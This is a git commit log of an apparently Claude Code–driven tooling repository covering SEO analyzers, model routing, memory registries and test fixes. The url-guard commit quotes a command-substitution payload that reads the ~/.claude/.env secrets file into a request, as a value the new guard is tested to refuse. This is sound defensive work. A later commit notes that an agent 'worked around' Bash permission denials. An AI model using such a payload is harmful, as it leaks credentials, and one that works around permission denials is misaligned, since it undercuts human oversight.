92 Commits
Author SHA1 Message Date
bmottin 91ea02d990 chore(memory): correct BLK-022 — gitflow-test.sh is flaky, the before/after was noise
I recorded "92/14 on pristine develop vs 93/13 after — nothing worsened, one
case better". Three consecutive runs on one unchanged tree give 90/16, 92/14,
92/14: the suite is non-deterministic and both figures were single samples of
that spread. The port is indistinguishable from the noise; claiming an
improvement was false precision.

Surfaced because the post-merge run reported 90/16 and looked like a
regression. It was not — but the only reason the question could be settled
was re-running, which is exactly what the original claim had skipped.
2026-09-15 21:45:47 -04:00
bmottin 66012a97a7 chore(memory): BLK-021/022, LRN-150/151, BDR-088, EVAL-029 — macOS port
Capitalizes the macOS port and the gstack Chromium deadlock, plus an
append-only correction to BLK-008 / LRN-038: their "ubuntu24.04 fallback
build" cause is refuted — macOS arm64 has a native Playwright 1.58.2 build,
no fallback, and the same hang reproduces. The real variable was the Node
version, and that wrong record misdirected this investigation for an hour.

EVAL-029 records two process failures worth keeping: the first fix
recommendation (pin node@22) was reversed only because the user asked
whether the browser was current — staleness had gone unpriced; and the grep
sweep returned empty twice while defects were present, once to `set -e`,
once to a pattern that could not match `${1,,}`.

Index rows added for all four registries. Pre-existing index drift
(BLK-018..020, LRN-144..149) left alone — backfilling means summarising
entries someone else wrote.
2026-09-15 21:39:22 -04:00
Bastien Chanot 069a73338a chore(todo): reconcile 2026-09-01 — T4 gate ticked, T6 residuals corrected, Makefile item re-verified open 2026-09-01 16:54:15 +02:00
Bastien Chanot a15854aa87 chore(memory): EVAL-028 + LRN-143/144 + BDR-086 + journal — darwin run capitalized; TODO round-count corrected 2026-08-26 23:00:41 +02:00
Bastien Chanot 12823181d1 chore(darwin): Phase 3 — optimization report + TODO T5/T6 ticked 2026-08-26 22:45:03 +02:00
Bastien Chanot af002ba235 chore(darwin): T3 baseline — 54 rows, mean 83.4, 13 candidates <80 2026-08-26 11:15:03 +02:00
Bastien Chanot afec610dc8 chore(darwin): T2 gate passed — prompts reused, dim8 on candidates, threshold 80 2026-08-26 10:43:47 +02:00
Bastien Chanot a871ce5acb feat(darwin): Phase 0.5 — test-prompts for 7 promptless skills + campaign plan 2026-08-25 20:23:46 +02:00
Bastien Chanot 7f16213456 chore(reconcile): TODO vs real — 3 open-but-done ticked, Makefile rescoped, C1 note corrected
Oracles: merge 5ec7bfa (user-writing-web-rules), BDR-065 Amendment +
LRN-138 in registry bodies, darwin-skill present + T6c green + make
test exit 0, Makefile :31 glob fixed / :57 profiles still 5/10,
seo-geo-deprescription merged 5488c48.
2026-08-25 20:12:40 +02:00
Bastien Chanot dab25636c8 chore(memory): BDR-085 + journal + TODO — user permanent rules integrated 2026-08-25 19:48:06 +02:00
Bastien Chanot b9aa9ba2e6 chore(memory): TODO — T4 verified, merge pending human gate 2026-08-24 14:19:08 +02:00
Bastien Chanot 543b0c811a feat(tour): multi-project parallel fan-out — one runner per repo
Two or more project paths dispatch one general-purpose runner per repo,
all in a single message, instead of processing repos one by one. The
runner inherits the session model — no pin, it carries tour's reflection
(fix decisions, convergence) — and every agent inside keeps its defined
tier (security-auditor sonnet, Phase B opus, doc-syncer sonnet). A dead
or mute runner becomes an explicit RUNNER FAILED summary row; the gated
capitalize offer stays in the main loop, never in a runner.

Bounded LRN-083 derogation recorded in BDR-084: the per-project fix loop
moves into its runner, but nothing a runner decides touches shared state
— independent repos, per-repo chore branches, branches left unmerged for
human review exactly as inline. Mechanics proven before building: nested
probe, 3 sub-agent windows all overlapping, 9.1s vs ~18s sequential.

Census §12: 6 locks, flip-tested. Single-project path unchanged.
2026-08-24 14:18:59 +02:00
Bastien Chanot 4ededc75ab chore(memory): TODO — plan tour-parallel (T1-T4) 2026-08-24 14:17:25 +02:00
Bastien Chanot 763d0022bf chore(memory): TODO — W9 human merge signal + Palier 3 trigger (won't-build-now) 2026-08-24 13:44:01 +02:00
Bastien Chanot 33f5356c82 feat(gates): wire GATE 0 into the four orchestrator skill restatements
The include is authoritative, but feat/bugfix/ship-feature/init-project
each restate the verify loop inline — an orchestrator following the
restatement alone would have skipped the floor. Each now carries the
GATE 0 bullet ahead of GATE 1 (4 new structure locks, flip-tested).
The contract-interview weight table stops promising a hotfix oracle
nothing executes: hotfix runs no floor, the hotfixer runs the suite
itself. CHANGELOG extended with the wiring + the RED result.
2026-08-24 13:36:32 +02:00
Bastien Chanot bfac4d4522 chore(memory): BDR-083 + LRN-141/142 + journal + CHANGELOG + TODO W0-W8
BDR-083 records what was taken from unlazy and, more usefully, what was
refused and why. LRN-141: an external skill's machinery encodes its threat
model, not yours — take the invariants, refuse the machinery. LRN-142:
structure locks are fixed-string, so reflowing a doctrine paragraph reds
them; fix the doc, not the lock.
2026-08-24 13:12:38 +02:00
Bastien Chanot 325962e080 chore(memory): BDR-082 + LRN-140 + journal + CHANGELOG + TODO C1 done (seo/geo de-prescription) 2026-08-02 17:28:07 +02:00
Bastien Chanot 9681b468e1 test(census): seo/geo agent⇄dispatcher contract locks (C1 P1, pre-reword)
71 locks, flip-proven (7 scratch mutations → 7 FAILs): judge verdict
grammar, FIX BUNDLE + READY-TO-APPLY sentinel, signals handoff, ALL
STEP headers (interiors included, conf#5), collect report, bundle item
fields parsed by L1 appliers, score labels (BDR-010/LRN-011), scoring
blocks, trajectory, envelope keys. Locks existing state — reword
commits must keep this green.

+ plan v3 (challenged 3 lenses FATAL/FATAL/CONCERNS + 1 confirmation
pass FATAL(9), every BLOCKER closed by a named change, §5bis record)
+ directive-language inventory annex (analyzer report).
2026-08-02 01:10:47 +02:00
Bastien Chanot 7047adfe77 chore(memory): reconcile TODO — opus5 branch merged (709cf9b), add Claude 5 follow-on chantiers C1-C4 2026-07-30 13:41:37 +02:00
Bastien Chanot 550b39043e chore(memory): BDR-081 + LRN-139 + journal + CHANGELOG + plan (opus5 tuning)
Capitalizes the Claude-5-family config recalibration: decision record,
trait-inversion learning (LRN-030 superseded premise, #80988 injections,
no-effort-hold trap), journal line, CHANGELOG Unreleased entries, and the
challenged plan (3 blind Opus 5 lenses, synthesis in §5bis).
2026-07-30 13:02:55 +02:00
Bastien Chanot 78a25aeb5e chore(memory): BDR-065 amendment (auto-purge coded) + LRN-138 + journal
BDR-065 delete-side now automated (lib/gitflow.sh _gitflow_purge_transient).
LRN-138: gitignore != delete for run-time artifacts read from disk — use
commit-during-run + auto-delete at the integration boundary. TODO checked,
journal line.
2026-07-22 15:12:28 +02:00
Bastien Chanot dc90aae9bd Merge chore/purge-transient-docs into develop
# Conflicts:
#	.claude/tasks/TODO.md
2026-07-20 17:07:11 +02:00
Bastien Chanot e75ea79ae6 chore(tasks): reconcile 2026-07-20 — 4 stale claims corrected + pending-gates section
- seo/geo STATUS: H1+C1 were done (url-guard, sitemap verb) and the branch
  merged (92301fe) + shipped v1.2.0 — 'NEXT'/'nothing merged' lines stale
- ctx7 + opus-pin sections: 'NO merge' notes stale (8ee7d19, 17fbe51 both
  shipped v1.2.0)
- f1c9c474 transcript decision moot: auto-rotated (cleanupPeriodDays=7)
- new open items: 2 unmerged branches + Makefile help-text fix
2026-07-20 16:46:42 +02:00
Bastien Chanot 8008d8233c feat(profile): set symmetric on managed externals + MCPs (BDR-079)
- MANAGED_EXTERNALS (emil-design-eng, frontend-design,
  design-motion-principles, impeccable) + MANAGED_MCPS (magic):
  cmd_set now trims both when the profile does not list them —
  design leftovers no longer survive a 'set backend'
- cmd_set refactored to 4 symmetric trim helpers; nothing outside
  the MANAGED_* allowlists is ever auto-toggled (darwin-skill manual)
- enable_skill external: from-source fallback (ln -sf
  skills-external/<name>), mirrors toggle-external.sh
- stale usage() NOTE + SKILL.md updated to the both-ways reality
- hermetic test: 16 checks, fixture repo + fake claude shim (gstack
  on-demand, from-source, park/restore, magic add/remove, non-managed
  untouched); shellcheck + full make test green
2026-07-20 14:47:53 +02:00
Bastien Chanot b7026e4bda feat(ctx7): coverage extension — fast-libs single source + reminder hook + executor briefs (BDR-078)
- lib/fast-libs.sh: detect/cache-status verbs, JS+Python manifests,
  7-day cache freshness, LC_ALL=C sort — replaces 3 hardcoded lists
  (ship-feature 0c, init-project 5c, onboard 3.5)
- hooks/ctx7-reminder.sh: once-per-session UserPromptSubmit nudge when
  the project carries fast-libs and .ctx7-cache/ is missing/stale
- find-docs: before-writing-code trigger + cache-first rule; dist is
  machine-owned (gitignored) so the durable patch lives in
  install-plugins.sh STEP ctx7 (idempotent, grep-guarded)
- feater/bugfixer briefs: fast-lib docs rule (fresh cache read, else
  2-topic ctx7 fetch, else NOTES cache miss + proceed)
- tests: lib/tests/fast-libs.test.sh (11 checks); shellcheck + full
  make test green (review-guards 5/0)
2026-07-20 10:45:06 +02:00
Bastien Chanot 07253e093c feat(doctrine): W6 — prose sweep + BDR-077 + LRN-137 + plan execution notes
LRN-113 whole-surface sweep: client-handover x2 + commit-change prose
repointed to the two-mode reality; code-cleaner/status historic notes
kept (accurate). Memory: BDR-077 (full architecture), LRN-137
(mode-based re-tiering + fail-safe pin rule), journal. Plan carries
as-built EXECUTION NOTES.
2026-07-19 23:44:24 +02:00
Bastien Chanot 1c2d30dbf0 chore(tasks): model-tiering v2 — analysis + challenged plan v3 + TODO reconcile
Plan challenged by 3 blind lenses + 1 confirmation pass (1 BLOCKER closed
by fable-dispatch spike, 6 MAJORs + 8 MINORs fixed by named changes, 0
deferred). TODO: seo-geo-integrity 'UNMERGED' note was stale (92301fe
already in develop) — corrected.
2026-07-19 19:51:06 +02:00
Bastien Chanot 3eaf31ca09 chore(memory): BDR-076 + journal + TODO — opus-pin dispatched judgment agents 2026-07-19 17:38:58 +02:00
Bastien Chanot f96206ff21 chore(memory): BDR-070..073 LRN-131..133 BLK-017 EVAL-025 — capitalize 2026-07-17 13:46:17 +02:00
Bastien Chanot d6b8edc8ea fix(seo): B1 KILLED — Common Crawl backlinks measured, not assumed
The plan said Common Crawl was the free backlink source and the 70/100 cap
was therefore mandatory. Measured before building, and both premises die.

HEAD against data.commoncrawl.org, live:
  cc-main-2026-feb-mar-apr-domain-edges.txt.gz    17.3 GB   gzipped
  cc-main-2026-feb-mar-apr-domain-ranks.txt.gz     2.3 GB
  cc-main-2026-feb-mar-apr-domain-vertices.txt.gz  879 MB

Finding one domain's inbound links means scanning the edges file end to end,
per audit. That is not slow, it is non-viable — and abusive toward a
nonprofit serving the data free.

Worse, the reference implementation everyone points at
(claude-seo scripts/commoncrawl_graph.py:169) does this:

    max_compressed_bytes = 500 * 1024 * 1024   # 500 MiB safety cap
    if total_downloaded > max_compressed_bytes: break

500 MiB of 17.3 GB is **2.9% of the edges file**, which is sorted by source
ID — so it reads an arbitrary slice of source domains and reports whatever
backlinks happened to be in it, as a backlink profile, capped at "70/100
health". Nothing in the output says 3%. That is a random sample wearing a
measurement's clothes: the exact failure class this branch exists to remove,
and I was one step from copying it.

B2 dies with B1: nothing left to cap.

CONSEQUENCE, and it is the point: I1's narrowed Off-page axis — brand
mentions only, backlinks + authority declared unauditable in §14 — is the
FINAL state, not a placeholder waiting for data. Corrected my own I1 text,
which pointed at Common Crawl as the "nearest free source": that sends a
future reader into a 17 GB dead end. The §14 line now records what was
measured and why no number beats a fabricated one.

Also corrects the B3 note, whose follow-on ("so Common Crawl is the only free
source") was wrong for the same reason. The only free viable backlink source
is Bing's GetUrlLinks — first-party only, never a competitor, and blocked on
the client's Bing account. That raises W2's value; it does not unblock it.

Verified: full suite green, seo-data 144 pass / 0 fail.
2026-07-17 13:17:18 +02:00
Bastien Chanot 7d6aa09faf feat(lib): H1 — url-guard, shell-injection + local-target refusal before curl
Prerequisite for C1, which is why this moved up from AXE 5. Today $DOMAIN is
typed by the operator and interpolated into ~10 curls (seo-analyzer.md:254+,
geo-analyzer.md:248+) — self-inflicted risk. The sitemap crawl changes the
threat model completely: URLs then come from the TARGET'S OWN SERVER, so a
remote file's bytes reach a shell.

The severe hazard is injection, not SSRF. Those curls quote with ", inside
which $ and backtick still execute, and ~/.claude/.env holds
GOOGLE_OAUTH_CLIENT_SECRET + CRUX_API_KEY. A <loc> of
`https://x/$(cat ${HOME}/.claude/.env)` reads the vault into a request. The
test suite asserts exactly that payload is refused.

Code, not prose: a markdown instruction does not stop an injection. Mirrors
the house pattern (fetch.sh:25 _label_safe) — whole-string allowlist, C
locale, POSIX case: newline-proof, locale-independent, no grep pitfall.
Allowlist over denylist per CLAUDE.md.

Covers: shell metacharacters; scheme (http/https only — no file:, gopher:);
literal loopback/private/link-local/metadata/.local; userinfo authority
confusion (https://trusted.com@127.0.0.1/ hits .0.0.1, not trusted.com).

NOT covered, stated in the header rather than left silent: DNS-level SSRF. A
public hostname resolving to a private address passes. Closing it needs
resolve-then-pin at the HTTP layer; shell curl cannot without a TOCTOU
window. Proportionate to the threat model — this runs on a workstation
auditing the operator's own client sites.

Wired at all three entry points: both agents' STEP 4 domain assignment, and
the W3 sameAs loop (whose URLs come from the audited repo, not the operator).
Refused sameAs rows report as REFUSED rather than vanish — neither dead nor
live, and an unguardable sameAs is itself a finding.

Note: writing the test file tripped the config-protection hook (test suite is
a guarded quality-gate). Used the documented one-shot sentinel with a reason
rather than working around the gate; it was consumed as designed.

Verified: 47 new assertions PASS / 0 FAIL, picked up by make test; full suite
green; shellcheck clean on lib/url-guard.sh (the sole remaining hit in the
health-stack glob is pre-existing, lib/gitflow-test.sh:242); guard dogfooded
against the real zenquality.fr domain (accepted) and the real exfil payload
(refused, exit 2).
2026-07-17 09:25:34 +02:00
Bastien Chanot 8b0c98c99a fix(geo): I3 — port NAP direction rule (LRN-032) into geo-analyzer spec
geo-analyzer owns JSON-LD NAP (ownership matrix, seo/SKILL.md:261) and can
rewrite it via G2 — AUTO tier, no confirmation (geo-analyzer.md:660). The
LRN-032 protection lived ONLY in the /seo dispatcher prompt
(seo/SKILL.md:339-343), so standalone /geo reconciled NAP with no canonical
and no anti-seed guard — the exact zenquality trap, writing into client
structured data.

Root cause: a safety invariant that depended on the caller. Fixed at the
layer that owns the data.

- Data integrity: NAP direction rule, caller-independent, binds G2/G6.
  Covers CREATE (LocalBusiness from scratch) not just rewrite — geo builds
  missing schemas, seo-analyzer's wording only covered rewrite.
- STEP 6 checklist: pointer at the line that triggers the action.

Absent canonical is already the safe default (no directional fix), so no
NAP collection step is needed in /geo — that would duplicate seo/SKILL.md
STEP 0 and risk drift.

Verified: make test 25+5+5 GREEN / 0 RED (incl. G3 strict-YAML frontmatter).
2026-07-16 16:06:30 +02:00
Bastien Chanot 096418c3e7 feat(capitalize): auto-persist memory to develop on /close + /capitalize (STEP 5C, BDR-068) 2026-07-16 13:51:15 +02:00
Bastien Chanot c41aac6975 chore(memory): LRN-128 LRN-129 EVAL-023 — close ritual 2026-07-16 13:37:43 +02:00
Bastien Chanot fdbe168ad8 chore(memory): BDR-067 — v1.0.0 first public release (versioning reset) + journal + TODO 2026-07-16 13:29:54 +02:00
Bastien Chanot 890e55f789 fix(model-routing): ronde edge fixes — feater applier carve-out, /refactor→sonnet dispatch, /analyze gate, audit-pin guards (F1-F5) 2026-07-16 12:45:07 +02:00
Bastien Chanot fe1d60fccb chore(model-routing): wave-4 census + docs + BDR-066 (client-handover doc-gen → sonnet) 2026-07-16 11:56:54 +02:00
Bastien Chanot 872225f7d1 docs(model-routing): wave-4 plan (client-handover redaction-only doc-gen dispatch) + TODO 2026-07-16 11:26:42 +02:00
Bastien Chanot bed695a6c6 chore(model-routing): wave-3 census + docs + BDR-066 update (bugfix/code-clean split) 2026-07-16 10:34:12 +02:00
Bastien Chanot 152da63624 docs(model-routing): wave-3 plan (bugfix + code-clean split) + wave-4 stub + TODO 2026-07-15 23:16:52 +02:00
Bastien Chanot bc8eede090 chore(model-routing): wave-2 census + docs + BDR-066 update 2026-07-15 21:49:34 +02:00
Bastien Chanot 2ad712cfd4 chore(memory): BDR-066 model routing + journal + TODO follow-ups 2026-07-15 12:01:14 +02:00
Bastien Chanot 30d6b031b4 chore(memory): BDR-064 + LRN-122 + LRN-123 — ship-feature claude-global-md-rename 2026-07-14 17:06:29 +02:00
Bastien Chanot 0cedbc7b3a chore(memory): LRN-121 shell allowlist validation (grep -Eq fragile → whole-string POSIX case) + seo-account-mgmt journal + contract 2026-07-10 12:48:54 +02:00
Bastien Chanot 8397354caa chore(memory): backmerge — LRN-117 fork orphans code + consolidated B journal + backlog 2026-07-08 17:22:52 +02:00
Bastien Chanot 6dd5a41292 chore(tasks): review remediation complete — all EPs done, gate final green
11 atomic commits on chore/review-remediation, make test GREEN throughout, both
smokes verified (A2 secret blocked, A8 AUTO fix lands). Branch unmerged (human gate).
2026-07-08 16:07:05 +02:00
Bastien Chanot aa73793b90 chore(memory): job9 — commit-changer trailer fix + J4-16 cross-check follow-up 2026-07-08 13:10:10 +02:00
Bastien Chanot f667780156 chore(memory): job9 — BDR-060 version floor, BDR-061 path-b, LRN-112 nesting, journal + TODO 2026-07-08 12:43:39 +02:00
Bastien Chanot 5822869056 chore(memory): job8 capitalize — journal + TODO follow-ups
Session log for job8 (A/B/C/D execution, 3 Bash permission denials
worked around mid-C, smoke gate confirmed by user). TODO tracks the
2 open residuals: C/D single-pass re-audit next cycle, MAGIC_API_KEY
rotation still pending (job7 residual, unrelated to job8's own scope).
2026-07-07 23:58:50 +02:00
Bastien Chanot 5d5b386b9c job7 step D: purge stale secret-bearing artifacts (GO-gated)
- rm ~/.claude/projects/.../960bd2cf-...jsonl (transcript with plaintext
  GITEA token — token already rotated; user GO)
- rm ~/.claude/paste-cache/7d48f52c7499c1a7.txt (sourcegraph-access-token
  hit surfaced by make scan-secrets, outside the original job7 triage;
  never read — user GO to delete without further characterization)
- ide/27929.lock: already gone (natural rotation, session ended). Its
  replacement ide/20429.lock is a LIVE lock for the current session —
  left alone, not stale
- settings.json cleanupPeriodDays 30 -> 7 (confirmed field name/scope via
  docs; diff shown and explicitly confirmed before writing — first
  attempt was correctly blocked by the auto-mode classifier for having
  only narrated the diff in text rather than actually pausing for
  confirmation). Only this one hunk staged — the file carries unrelated
  live-session drift (model/effortLevel/permission-list reorder) not
  part of this job, left unstaged.

Residual, deliberately not decided here: transcript f1c9c474-...jsonl
(generic-api-key x8, surfaced by make scan-secrets, not in the original
triage) — not read, not characterized, no option chosen by the user among
self-inspect/TODO/rm. Left intact in TODO as an open item.
2026-07-07 12:53:48 +02:00